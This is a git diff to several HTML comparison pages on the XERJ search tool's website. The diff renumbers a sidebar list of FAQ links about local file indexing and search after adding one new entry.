href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-recoll.html b/landing/compare/xerj-vs-recoll.htmlindex 482539e47..08964e8ea 100644--- a/landing/compare/xerj-vs-recoll.html+++ b/landing/compare/xerj-vs-recoll.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-ripgrep-all.html b/landing/compare/xerj-vs-ripgrep-all.htmlindex f1e608ed2..8a1a667f7 100644--- a/landing/compare/xerj-vs-ripgrep-all.html+++ b/landing/compare/xerj-vs-ripgrep-all.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-ripgrep-for-code-agents.html b/landing/compare/xerj-vs-ripgrep-for-code-agents.htmlindex 0d1645633..5bd3ec650 100644--- a/landing/compare/xerj-vs-ripgrep-for-code-agents.html+++ b/landing/compare/xerj-vs-ripgrep-for-code-agents.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span 